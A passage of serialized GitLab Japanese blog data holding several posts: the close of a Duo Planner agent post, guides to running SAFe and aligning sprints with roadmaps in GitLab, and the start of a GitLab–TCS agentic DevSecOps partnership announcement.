Chatサイドパネル内のカスタムエージェントとして利用可能](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nエピックリンクを提供して、Duo Plannerにイニシアチブのステータスを尋ねてみましょう。\n\n![エピックリンクを提供してDuo Plannerにイニシアチブのステータスを尋ねる](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nすると、概要、マイルストーンの現在のステータス、進行中のアイテム、依存関係、ブロッカー、そして実行可能な推奨事項を含む構造化されたサマリーを受け取れます。\n\n![構造化されたサマリー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\n次に、ステークホルダーと共有するためのエグゼクティブサマリーを依頼してみましょう。\nGitLab Duo Plannerは、何時間もの手作業での分析やレポート作成の労力を削減し、意思決定の迅速化とすべてのステークホルダーへの最新情報の共有を支援します。\n\n![エグゼクティブサマリーを依頼](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\n\u003Cp>\u003C/p>\n\n![エグゼクティブサマリーの出力](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nGitLab Duo Plannerで試せるその他のプロンプトの例をいくつかご紹介します：\n\n* 「\"boards\"ラベルが付いたバグのうち、ユーザーへの影響を考慮して最初に修正すべきものはどれですか？」\n* 「これらのエピックを、第1四半期の戦略的価値に基づいてランク付けしてください。」\n* 「新機能に対して技術的負債の優先順位付けを支援してください。」\n* 「このユーザーストーリーを実装するために必要なタスクは何ですか？」\n* 「このプロジェクトの段階的アプローチを提案してください:（プロジェクトのURLを挿入）。」\n\n## 次のステップ\n\nGitLab Duo Plannerは、アジャイル環境で働くプロダクトマネージャーとエンジニアリングマネージャーに意図的に焦点を当てています。その理由は、特定性がパフォーマンスを向上させるからです。GitLabの計画ワークフローとアジャイルフレームワークについてDuo Plannerを深く学習させることで、汎用的な提案ではなく、信頼性の高い実行可能なインサイトを提供します。\n\nプラットフォームを進化させる中で、それぞれが特定のワークフローに最適化されつつ、統一されたインテリジェンスレイヤーに貢献する、専門化されたエージェント群を構想しています。今日のソフトウェアチーム向けプランナーは、AIがすべてのチームの作業優先順位付けを変革する道のりの始まりに過ぎません。\n\n> GitLabの既存のお客様で、独自のプロンプトでGitLab Duo Plannerを試してみたい場合は、前提条件、ユースケースなどを記載した[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/)をご覧ください。",[777,778,779,746],"AI/ML","agile","features",[781,782],"Aathira Nair","Amanda Rueda",{"featured":13,"template":784,"slug":785},"BlogPost","ace-your-planning-without-the-context-switching",{"content":787,"config":797},{"title":788,"description":789,"authors":790,"heroImage":791,"date":792,"body":793,"category":641,"tags":794},"GitLabで実現するサイロのないSAFe","Scaled Agile Framework（SAFe）をDevSecOpsプラットフォームのネイティブ機能にマッピングする方法と、そこから得られるメリットについて学びましょう。",[782],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","あなたの組織がScaled Agile Framework（SAFe）を導入し、エンタープライズ規模へとスケールしようとするとき、何が起こるのか考えてみましょう。複数のチームが複雑な製品の開発に取り組んでおり、すべての作業を調整する手段が必要になります。しかし、ここでよくある問題が発生します。計画はあるツールで行い、実際の開発作業はまったく別の場所で進められているという状況です。\nこのような分断は、日常業務においてさまざまな問題を引き起こします。デベロッパーは複数のシステムを行き来し、プロダクトマネージャーは正確な進捗状況を把握できず、誰もが情報を手作業でほかの場所へとコピーすることに時間を浪費します。これこそがまさに、SAFeが解消しようとしている「分断された体験」の典型です。\nすでに開発チームがGitLabを使ってソースコード管理、CI/CD、セキュリティを行っている場合、SAFeフレームワークでの計画管理にもGitLabを活用できるのかどうか疑問に思うかもしれません。幸いなことに、GitLabのアジャイルプロジェクト管理機能はSAFeを強力にサポートしています。この記事では、GitLabがSAFeの各種概念やセレモニーとどのように対応しているのかを紹介します。しかも、すべてデベロッパーがすでに慣れ親しんでいる同じDevSecOpsプラットフォーム上で実現できます。\n## SAFeとは？\nSAFe（Scaled Agile Framework）は、アジャイルの考え方をスピードや方向性、顧客重視の姿勢を失うことなく、大規模な組織全体に広げるための手法です。少人数チームで使われる柔軟かつ反復的なアジャイルの進め方を、複数のチームやロードマップ、関係者を抱える大規模組織にも適用できるように設計されています。このフレームワークを活用することで、組織全体の方向性が揃い、計画と実行が一貫して進むようになります。プロダクトマネージャーにとっては、SAFeを導入することで、戦略と実行をしっかりつなげることができ、とにかく早くリリースするだけでなく、チームで方向性を揃え、優先順位に基づいて本当に出すべきものをリリースできるようになります。\nSAFeはサイロを減らし、チーム間のコラボレーションを促進するとともに、単なる作業の実行ではなく、「顧客が求める成果」を中心にチームをまとめます。GitLabにSAFeを統合すると、可視性、トレーサビリティ、成果のすべてが、1か所に集約され、その効果はさらに高まります。\n## GitLabにおけるSAFeの用語対応\nまず、SAFeの概念がGitLab内でどのように対応するかを確認しましょう。\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | トップレベルエピック |\n| Capability | サブエピック（レベル1） |\n| Feature | サブエピック（レベル2） |\n| User Story | イシュー |\n| Task | タスク |\n| Team | カスタムフィールド/範囲指定したラベル |\n| Sprint | イテレーション |\n| Program Increment (PI) | マイルストーン |\n| Value Stream | トップレベルグループ |\n| Agile Release Train (ART) | トップレベルグループ |\n\u003Cbr>\u003C/br>\nこの対応表をガイドとして活用すると、GitLabをSAFeの実装と連動させて構築できます。グループ構造を使うと、バリューストリームやART（Agile Release Train）単位で整理できます。また、最大7階層までネスト可能なエピックによる作業アイテムの階層構造により、複雑なプロダクトポートフォリオにも対応できる深さを備えています。ポートフォリオレベル（トップレベルグループ）、プログラムレベル（サブグループ）、チームレベル（プロジェクト）といった、どの階層で作業していても、GitLabの組織構造はSAFeの階層とぴったり合致します。\n## GitLabでのSAFeのセレモニーのサポート\nここからが本題です。GitLab上でSAFeのセレモニーを実際にどう実行するのか、順を追って見ていきましょう。\n### PIプランニング\nチーム間の調整と依存関係の管理を促進し、PIプランニングを成功させるために、GitLabでは以下のような機能が提供されています。\n* [ロードマップ](https://docs.gitlab.com/user/group/roadmap/)ビューを使用して、複数のチームや期間にわたるフィーチャーを可視化する\n* フィーチャーをPI[マイルストーン](https://docs.gitlab.com/user/project/milestones/)に割り当てる\n* 見つかったチーム間の[依存関係](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues)を文書化し、視覚化する\nGitLabでは、エピックボード（チームごとの割り当てを表示するように設定可能）とロードマップビュー（ガントチャートのように時間軸でフィーチャーを表示）を使い分けることで、柔軟にPIプランニングを進めることができます。タイムラインかチーム構成のどちらに注目するかに応じて、プランニング中にビューを切り替えられます。\n![ロードマップビューとエピックボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\u003Cbr>\u003C/br>\n![ガントチャート付きロードマップビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n### リファインメント\nプロダクトマネージャーにとって、効果的なリファインメントを行うには、フィーチャーのバックログを明確に把握しておくことが重要です。GitLabなら、リファインメントをそのままGitLab上で実施できます。会議中に1つのツールを更新して、その後に別のツールを更新する必要はもうありません。\nGitLabでは、以下の機能によってリファインメントを効率的に進められます。\n* 状態ごとにフィーチャーを整理できる[エピックボード](https://docs.gitlab.com/user/group/epics/epic_boards/)\n* ストーリーポイントを[概要](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)ビューで直接確認できる機能\n* 作業アイテムをその場で操作しながら、全体の文脈を見失わない包括的な[drawerビュー](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer)\n* エピックから[子イシュー](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic)を直接作成・リンクできる機能\n![SAFe - 画像3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n### スプリント計画\n次のスプリントでチームが取り組む作業を決めるタイミングでは、GitLabの以下の機能を活用できます。\n* バックログを包括的に確認できる[イシューボード](https://docs.gitlab.com/user/project/issue_board/)\n* ボード上にユーザーストーリーの[合計ウェイト](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights)を直接表示\n* イシューを簡単にイテレーション間で移動できる機能\n* スプリント間のストーリー移動を効率化する折りたたみ可能なビュー\nつまり、すべてを1か所に集約して管理でき、プランニングミーティングではツールを行き来するのではなく、実際の計画に集中できます。\n![GitLabで行うスプリント計画](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752378662/Blog/ynmq3wnf77yk6xkehkda.gif )\n* GitLabを活用したスクラムの進め方については、[こちら](https://docs.gitlab.com/tutorials/scrum_events/)のチュートリアルをご覧ください。アジャイルプランニングやスプリントの進捗管理におけるGitLabの便利な機能を詳しく確認できます。*\n### デイリースタンドアップ\nデイリースタンドアップでは、チーム全員がボードを囲んで、誰が何に取り組んでいるか、どこで詰まっているか、どの作業がレビュー待ちかを、すべて単一のビューで確認できます。GitLabでは、以下の機能が開発チームのデイリースタンドアップに役立ちます。\n* 現在のスプリントに絞った[イテレーションスコープ付き](https://docs.gitlab.com/user/project/issue_board/#iteration-lists)のボードを作成\n* 各カード上にストーリーポイント/ウェイトを直接表示\n* コンテキストを失わずに詳細にアクセスできる[drawerビュー](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer)の活用\n* [ヘルスステータス](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)でリスクのあるタスクをハイライト表示\n![デイリースタンドアップのボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n### スプリントレビュー\nチームの進捗状況を継続的に把握したいですか？GitLabでは、以下のような包括的なメトリクスを利用できます。\n* イテレーションごとの[バーンダウンチャートおよびバーンアップチャート](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts)\n* ベロシティのトラッキング\n* [リードタイムおよびサイクルタイム](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics)のメトリクス\n* チーム単位でスコープ設定できるダッシュボード\nこれらの指標により、チームのスピードが上がっているか、どこでつまずいているか、そして次回のレトロスペクティブで話し合うべきポイントを明確に把握できます。\n![バーンダウンチャートとバーンアップチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n## 統合プラットフォームが強みとなる5つの理由\nSAFeのセレモニーを管理できる計画ツールはたくさんあります。でも、GitLabが本当に他と違うと私が感じているのには、明確な理由があります。\n1. **頭の切り替えが不要** - 計画、コーディング、テスト、セキュリティのすべてを、1か所で完結できます。\n2. **すべてがつながっている** - 大きなエピックからコード、デプロイまで、作業の流れをたどれます。\n3. **全員が同じ認識を持てる** - デベロッパー、プロダクト担当、セキュリティチームが、同じツール上で連携できます。\n4. **完全な可視性** - ステークホルダーは、進捗の確認を1か所で行えます。\n5. **全体像が見える** - 計画と開発のメトリクスをまとめて確認できるため、本当の状況が明確になります。\nもしあなたの開発チームがすでにGitLabを使いこなしているなら、プランニングのためだけに別のツールへ切り替えたり、複雑なインテグレーションを無理やり組み合わせたりする必要はありません。SAFeプランニングをGitLabに取り込むことで、チーム全体にとってはるかにスムーズな体験が得られます。\n## 実装の原則\n私は従来型のSAFeツールからGitLabへの移行に取り組むチームと協力してきましたが、その経験から学んだことがあります。それは、以前のツールをそのまま再現しようとするのではなく、**それぞれのセレモニーが何を目的としているか**に注目することが重要だということです。\nGitLabの利点を最大限に活用しているのは、GitLabのネイティブ機能を素直に受け入れて、それに逆らわずに活用しているチームです。もちろん、SAFeの概念をどうマッピングするか、ワークフローをどう構築するかを最初に整理するには少し手間がかかります。しかし、一度その形ができてしまえば、プロセスは複雑になるどころか、むしろシンプルになります。\n成功のカギは、全員が従うべき規則を定義することです。どのラベルが何を意味するのか？ チームをどう追跡するのか？エピックとイシューにはそれぞれ何を入れるのか？こうした判断を事前に少し整理しておくだけで、複数ツール間の調整にかかっていた手間を解消できる、直感的なシステムが手に入ります。\n## 導入を始める\nさて、試してみる準備はできましたか？GitLabでSAFeを導入するためのステップは以下のとおりです。\n1. **構造を整える** - [組織構成](https://about.gitlab.com/ja-jp/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/)に合わせて、グループやサブグループを作成します。\n2. **作業の詳細を定義する** - [エピック](https://about.gitlab.com/ja-jp/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/)、[イシュー](https://docs.gitlab.com/user/project/issues/managing_issues/)、[タスク](https://docs.gitlab.com/user/tasks/)をどのように使い分けるかを定義します。\n3. **イテレーションを作成する** - [スプリントのスケジュール](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence)を設定します。\n4. **マイルストーンを追加** - GitLab上でプログラムインクリメント（PI）を表す[マイルストーン](https://docs.gitlab.com/user/project/milestones/#create-a-milestone)を作成します。\n5. **ボードを構築する** - セレモニーごとに異なるビューを用意します。\n6. **規則について合意する** - ラベルやカスタムフィールドの使い方を文書化し、チームで統一します。\nこれらのポイントを最初にしっかり考えておくことで、後々のトラブルや混乱を避けられます。そして、初日から完璧にする必要はないことを忘れないでください。運用しながら学び、必要に応じていつでも調整できます。\n## すべてをまとめる\nGitLabは、SAFeを実行するための堅実な基盤を提供します。特に、あなたの開発チームがすでにGitLabに慣れ親しんでいる場合には最適です。計画と開発を同じツール上で進めることで、煩雑なハンドオフが不要になり、コラボレーションが格段にしやすくなり、すべての動きがよりスピーディになります。\nGitLabのプランニングツールの魅力は、あなたのチームに合わせて柔軟にSAFeをカスタマイズできることです。 決められた型にはまる必要はありません。チームが成熟し、ニーズが変われば、それに応じて運用方法も進化させることができます。\n> サイロ化したプランニングにさよならして、もっと快適なワークフローを体験してみませんか？まずは[無料トライアルを開始](https://about.gitlab.com/ja-jp/free-trial/?hosted=saas)して、GitLabがどのようにSAFe導入を変革できるかを実感してください。\n*💡 このトピックに興味を持った方は、関連記事の[アジャイルソフトウェア開発におけるGitLabの活用法](https://about.gitlab.com/ja-jp/blog/gitlab-for-agile-software-development/)もぜひご覧ください*\n",[778,795,779,746,796],"DevSecOps platform","tutorial",{"slug":798,"featured":13,"template":784},"safe-without-silos-in-gitlab",{"content":800,"config":810},{"title":801,"description":802,"authors":803,"heroImage":804,"date":805,"body":806,"category":641,"tags":807,"updatedDate":809},"アジャイルのスプリントを製品ロードマップと調和させる方法","ベストプラクティスとGitLabの機能を活用して、製品開発を進めましょう。一元化されたロードマップの作成、レビューセッションの実施、スプリントのライフサイクルの追跡など、製品開発をスムーズに進めるためのポイントを解説します。",[782],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","2025-02-04","製品チームと開発チームが協力せずに、それぞれ作業している様子を想像してみてください。たとえば、製品チームが12か月分のロードマップを作成して社内に共有したものの、開発チームのレビューは受けてなかったとします。このため、開発チームは、全体の計画を把握しないまま、次のスプリントで予定されている機能の開発を始めました。その影響で、プロジェクトの並行実施、チームキャパシティの考慮、再利用可能なAPIの構築など、本来なら最適なタイミングで進められたはずの機会を逃してしまいます。最終的に、非効率的になり、価値の提供も遅れてしまいます。\n短期的な成功と長期的なビジョンのバランスを取るのは簡単ではありません。明確なコミュニケーション、優先事項の調整、そして適切なツールが必要です。このガイドでは、アジャイルのスプリントを戦略的ロードマップと調和させる方法、よくある課題への取り組み方、チームに合わせた実践的なアプローチをご紹介します。\n\n## 信頼できる唯一の情報源の重要性\n\n長期的目標を含むロードマップに関する、信頼できる一貫した唯一の情報源があれば、チームは常に最新の全体像にアクセスできます。具体的には、ロードマップの情報をひとつのプラットフォームに集約し、定期的に更新することを意味します。逆に、一元化されていない、つまり微妙に差があるロードマップを複数管理する場合、方向性の理解にずれが生じてしまいます。\n\n### 一元化されたロードマップを作成する\n\n一元化されたロードマップを作成することで、次のことが可能になります。\n\n* 長期的な戦略を伝える\n* 伝達ミスを最小限に抑える\n* 部門間の足並みが揃いやすくなる\n* 背景を把握しながら、変化に素早く対応する\n* 情報を自分で取得でき、情報を保持する単一の窓口への依存度を減らす\n\n***GitLabに関するヒント**：[エピック](https://docs.gitlab.com/ee/user/group/epics/)と[ロードマップ表示](https://docs.gitlab.com/ee/user/group/roadmap/)を使用すれば、製品計画と進捗の透明性を確保できます。ロードマップ表示を使用すると、進捗の追跡やボトルネックの特定に加え、全体的な目標とスプリントレベルでの実施内容を確実に一致させることができます。* \n\n![グループのロードマップ表示](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## ロードマップの共同レビューの実施\n\n[プロダクトトリオ](https://www.producttalk.org/product-trio/)（製品チーム、エンジニアリングチーム、ユーザーエクスペリエンスチーム）は連携し、定期的なロードマップのレビューと合意を得る仕組みを作りましょう。共同レビューを行うことで、チーム間の認識が揃い、リスクの早期発見と対処につながります。GitLabのプロダクトマネージャーは、エンジニアリングマネージャー、UXデザイナーと毎月ミーティングを行い、変更内容をレビューしてもらった上で、承認を得ています。Wikiに承認の記録を残しておくことで、スケジュールへの責任を明確にし、社内の他のメンバーに対してオープンに情報を提供しています。\n\n#### レビューセッションの効果を高める方法\n\nレビューの場を有意義なものにするには、以下のベストプラクティスを意識しましょう。\n\n* ロードマップの変更頻度に応じて、月ごとまたは四半期ごとの定期的なレビューを設定する。\n\n* 潜在的なリスクや依存関係をあらかじめ議論することで、製品目標、UXのリードタイム、技術的実現可能性の間の整合性を検証する。\n\n  * ロードマップに組織のビジネス目標が反映されているかどうかを検証する。\n  * 設計のタイムラインが現実的であり、技術的な調査や検証の必要性が考慮されていることを確認する。\n\n* チームのキャパシティの制約を考慮し、作業順序をチームのスキルプロファイルに合うよう工夫して、チームの生産性を最適化する：\nこれには、休暇期間中のスタッフ減少といった状況を見越して計画を立てながら、チームの能力の活用不足やスキルのミスマッチを避けることも含まれます。\n\n* スコープを正しく設定し、何が達成できるかについて適切な期待値を設定する：\n「全部やりたい」という気持ちを抑え、何を優先すべきかを明確にし、段階的に価値を提供するよう心がけることが大切です。タスク間の依存関係を減らしたり、再利用可能なコンポーネントを活用するなど、イテレーションの改善や開発速度を上げる方法を特定して、最適化できる機会を模索します。\n\n* トレードオフや優先順位についてオープンに話し合い、多角的な視点を取り入れる：\nこのような協調的なアプローチを取ることで課題に対して新しい視点や発想を取り入れた解決策が見つかり、今後の方向性について合意を得やすくなります。\n\n***GitLabに関するヒント**：[GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/)を活用して[ロードマップ](https://docs.gitlab.com/ee/user/group/roadmap/)機能を補完しましょう。Wikiには、ビジネス上の根拠、ユーザー調査へのリンク、RICEスコア、依存関係やリスクに関する詳細など、製品ロードマップに関する幅広いコンテキストを記載できます。アクセスしやすいようにロードマップへの直リンクを記載し、今後のディスカッションスレッド機能を活用して、非同期コラボレーションを促進し、チームからのフィードバックを得られるようにしましょう。*\n\n![PlanFlow製品のロードマップ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## 継続的な方向性の検証と進捗測定\n\n製品ロードマップを作成する目的は、予定どおりに進めることだけでなく、顧客に真の価値を提供することです。ユーザーからの継続的なフィードバックや行動データを共有する機会を設けるために、スプリントのサイクルとは別に、定期的にプロダクトトリオの三者で集まる場を設けることを検討してください。このようなセッションでは、インサイトの確認やトレンドの分析、そしてユーザーの変化し続けるニーズが製品ロードマップに反映されていることを確認します。実際のユーザーから得たインサイトに基づき、ロードマップを更新することで、単に予定していた機能をリリースするだけでなく、顧客にとって本当に重要な価値を提供できます。\n顧客にとっての価値は、使いやすさの向上、技術的負債の削減、またはまったく新しい機能の提供など、さまざまです。プロダクトトリオがロードマップのビジョンで一致していれば、達成しようと目指している成果に関しても足並みが揃っている状態だと言えます。\n成果の達成に向け順調かどうかを測定するには、想定する成果がどのようなものであるかを明確に定義する必要があります。後からユーザーストーリーを追加するといったスコープクリープ（スコープの拡大）は、価値の提供を遅らせてしまう恐れがあります。さらに、ロードマップに沿っていない作業があれば、価値を提供した後であっても特定し、なぜそうなったのか理由を把握することも重要です。\n\n### スプリント計画\n\n製品ロードマップとの整合性を保つには、まずは綿密なスプリント計画を立てる必要があります。ここでは、チームが作業を順調に進め、価値の提供に重点的に取り組むために役立つベストプラクティスをいくつかご紹介します。\n\n- デリバリーに対して確信を持てるように、求める成果を明確に定義し、範囲を絞り込んで設定する。\n- デリバリーを遅らせる可能性のある遅めの段階での追加や調整を特定し、継続して注力できるようにバッファを設ける。\n- チームと作業順序を調整し、キャパシティやスキルプロファイルを最適化し、依存関係を減らす。\n- 集中力を維持し、納期遵守の確実性を高めるために、チームのキャパシティが一杯になるような計画はしないようにする。スプリント中に発生する可能性のある未知の問題や新たな発見に備えて、バッファ（10%～20%）を設けておきましょう。\n\n### スプリント期間中\n\nスプリント期間中にロードマップとの整合性を保ち続けるには、集中力とコミュニケーションに加え、継続的な評価が必要です。価値の提供が目標である一方で、進行中の作業が、事前に決めて計画した成果に沿っているかどうかを確認することも同様に重要です。\n\n- 進行中の作業をロードマップで定めた成果と照らし合わせて継続的に検証し、各スプリントが全体像に寄与しているかを確認する。\n- 想定している目標や成果に向けて引き続き取り組んでいるかどうか、定期的に確認するようチームに促す。\n- スプリントを通じてオープンなコミュニケーションを保つ：デイリースタンドアップミーティングや非同期なアップデートを用いて、リスクや予定外の作業、依存関係を早い段階で明らかにし、必要に応じて調整します。\n- 何が何でもスプリントに沿って行動する：新たに生じた問題を解決したいという衝動に駆られるのは当然ですが、事前に合意した優先順位を見失うことのないように、計画していなかった作業は慎重に見極める必要があります。\n- スコープクリープを主体的に管理する：スプリントの途中で新たな作業が出てきた場合、それが現在のロードマップで定めた注力対象にあっているかを確認しましょう。たとえ魅力的なアイデアや機能であっても、。直近の価値提供という観点では優先度が低いかもしれません。このような内容は文書化し、今後のイテレーションに含めるか、あとで検討する項目として整理しましょう。現在のスプリントで取り組むものとした優先事項を後回しにするのは避けるべきです。\n\n### スプリントレトロスペクティブ（ふりかえり）\n\nスプリントレトロスペクティブでは、チームが目指す成果にどれだけ近づけたかを「ふりかえる」時間を取りましょう。以下の質問を投げかけることをおすすめします。\n\n- スプリント期間中に、予定外の作業によって価値の提供が遅れたことはなかったか？その原因は何だったか？どのように対応すればよかったか？\n- ロードマップとずれた作業がなかったか。その背景や経緯は？今後にどう活かせるか？そこから学んだことを話し合いましょう。\n\nスプリント計画からスプリントレトロスペクティブまで、ユーザーと関係者に具体的な成果をもたらすことチームの重要な役割です。各ステップで足並みを揃えることで、ロードマップが価値を効率的かつ継続的に提供する道標になります。\n\n***GitLabに関するヒント**：[バーンダウンチャート](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html)を使用すると、進捗状況が可視化され、早い段階でロードマップからの逸脱が検知できるため、チームが成果の達成に集中しやすくなります。*\n\n![バーンダウンチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## ロードマップで定めた成果を確実に実現する\n\nアジャイルのスプリントと戦略的なロードマップを結びつけるには、意図的な取り組み、チームの賛同、そして適切なツールが必要です。信頼できる唯一の情報源としてロードマップを作成し、共同レビューを実施し、進捗状況を測定することで、ビジョンに沿った行動を取ることができます。GitLabの強力な計画機能を活用することで、チームは課題をイノベーションと成長の機会へと変えることができます。\n\n早速、戦略的ロードマップに合わせてスプリントを進めてみませんか？[GitLabの無料トライアルを開始](https://about.gitlab.com/ja-jp/free-trial/)して、確実に成果を実現するために役立つツールを試してみましょう。\n\n## 関連リンク\n\n* [アジャイルプランニングのコンテンツハブ](https://about.gitlab.com/ja-jp/blog/categories/agile-planning/)  \n* [アジャイルプランニングチームに特化したGitLabの新しい「プランナーロール」のご紹介](https://about.gitlab.com/ja-jp/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)」（日本語）  \n* [効果的なナレッジマネジメントの実施に役立つGitLab Wikiのご紹介](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)（英語）\n\n\u003Cbr>\u003Cbr>\n\n*監修：佐々木 直晴 [@naosasaki](https://gitlab.com/naosasaki) （GitLab合同会社 ソリューションアーキテクト本部 シニアソリューションアーキテクト）*",[778,796,808,795],"workflow","2025-06-04",{"slug":811,"featured":13,"template":784},"how-to-harmonize-agile-sprints-with-product-roadmaps",{"category":657,"slug":655,"posts":813},[814,825,837],{"content":815,"config":823},{"title":816,"description":817,"heroImage":818,"date":819,"body":820,"category":655,"tags":821,"updatedDate":822},"エージェント型SDLC：GitLabとタタ・コンサルタンシー・サービシズ（TCS社）が企業全体でインテリジェントオーケストレーションを提供","開発者と連携してワークフローを自動化し、コンプライアンスを強化し、デリバリーを加速するAIエージェントでDevSecOpsをスケールします。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771866240/l16gpgupgz8uelyc8jfy.png","2026-02-24","GitLabとタタ・コンサルタンシー・サービシズ（以下TCS社）は、企業がイノベーション速度を大規模に加速できるよう支援するパートナーシップを発表しました。\n企業は迅速で安全なソフトウェアデリバリーを必要としていますが、断片化されたツールチェーン、一貫性のないセキュリティ制御、手動のコンプライアンスプロセスによってソフトウェアデリバリーが遅くなることがよくあります。AI生成コードとAI主導の脅威により、新たな複雑さが加わっています。\nGitLabとTCS Center of Excellence（CoE）アクセラレーターは連携して、移行の摩擦を軽減し、ガードレールを体系化し、DevSecOpsの大規模な導入を産業化します。両社は共に、開発中に必要な監査可能なガードレールを備えた標準化からインテリジェントオーケストレーションへの道筋を可能にします。\n\n## 将来に対応した企業の支援\n\nお客様は、数年ごとに大規模な再エンジニアリングを強いることなく、長期間使用できるよう構築されたDevSecOpsプラットフォームを求めています。GitLabの統合データモデルは、ソフトウェアライフサイクル全体を単一のコンテキストソースに接続し、企業がパイプライン、制御、メトリクスを大規模に標準化できるようにします。GitLabのAI主導機能における継続的なイノベーションは、企業がエージェント型ワークフローを採用して価値実現までの時間を短縮する中で、その長期的な関連性を強化します。\n\nGitLabとTCS社は、マルチエージェントオーケストレーション、動的プランニング、信頼度スコア付き意思決定、継続的学習サイクルを同期させて、コーディング、レビュー、テスト、セキュリティ、CI/CDワークフローを自動化します。\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo-agent-platform/)は、コンテキスト認識型の自律的アクション、マルチステップ推論、コードモダナイゼーション、セキュリティスキャン、フロー自動化を通じて、ソフトウェアライフサイクル全体でインテリジェントオーケストレーションを提供し、ソフトウェア開発を合理化・加速します。これは、IT運用のためのTCS社の構造化されたエージェント階層と自然に整合し、動的推論、プランニング、ドメインエージェントがMCP主導の統合と豊富なプロジェクトコンテキストフローを通じてGitLab Duo Platformの専門エージェント（プランナー、セキュリティアナリスト、コードレビューなど）を呼び出すことを可能にし、GitLabのAIネイティブDevSecOps制御によって管理されます。\n\n## プラットフォームエンジニアリングによるDevSecOpsのスケール\n\nプラットフォームエンジニアリングは、個々のパイプラインとツールチェーンの管理から、組織全体でソフトウェアの構築、保護、テスト、デプロイ方法を標準化する内部開発者プラットフォーム（IDP）の構築へと焦点を移します。\n\n 企業は、プラットフォームエンジニアリングを通じて開発者エクスペリエンスを製品化し、セルフサービスのゴールデンパスでIDPを運用することでスケールします。セキュリティ、コンプライアンス、ガバナンスは、policy-as-codeを通じてデフォルトで組み込まれ、Day 2運用を標準化します。GitLabはIDPコントロールプレーンとなり、TCS社はコントロールプレーン上のラッパーとしてセルフサービスの設計と展開を産業化し、強力な開発者エクスペリエンスを提供します。ソリューションアーキテクトとして、TCS社はセルフサービスパスを構築し、GitLab Duo Agent PlatformはSDLC全体で開発を自動化するエージェント型AIを追加します。\n\n| カテゴリ                       | 詳細                                                                                                    |\n| -------------------------- | ----------------------------------------------------------------------------------------------------- |\n| エクスペリエンスレイヤー（IDP）          | • 開発者セルフサービススキャフォールディング \u003Cbr> • ワンクリック環境/Runner/スキャン \u003Cbr> • 標準化されたオンボーディング                             |\n| プラットフォームコントロールプレーン（GitLab） | • 制御ポイントとしてのマージリクエスト \u003Cbr> • 統合CI/CD \u003Cbr> • セキュリティ \u003Cbr> • ソフトウェア部品表（SBOM） \u003Cbr> • 承認 \u003Cbr> • テレメトリ       |\n| ガードレールとガバナンス               | • ポリシーベースのガバナンス \u003Cbr> • コンプライアンス as code \u003Cbr> • リスク階層化されたゴールデンパス \u003Cbr> • 手動ゲートなしの必須制御                   |\n| インフラストラクチャとランタイム           | • クラウドランディングゾーン \u003Cbr> • Kubernetes/VMランタイム \u003Cbr> • GitOps主導の望ましい状態の強制                                   |\n| ゴールデンパス                    | • 製品が継続的に改善され、安全に拡張可能であることを保証 \u003Cbr> • 自律性を保持しながらパイプラインドリフトを排除                                          |\n| Day 2運用                    | • 自動ロールバック \u003Cbr> • 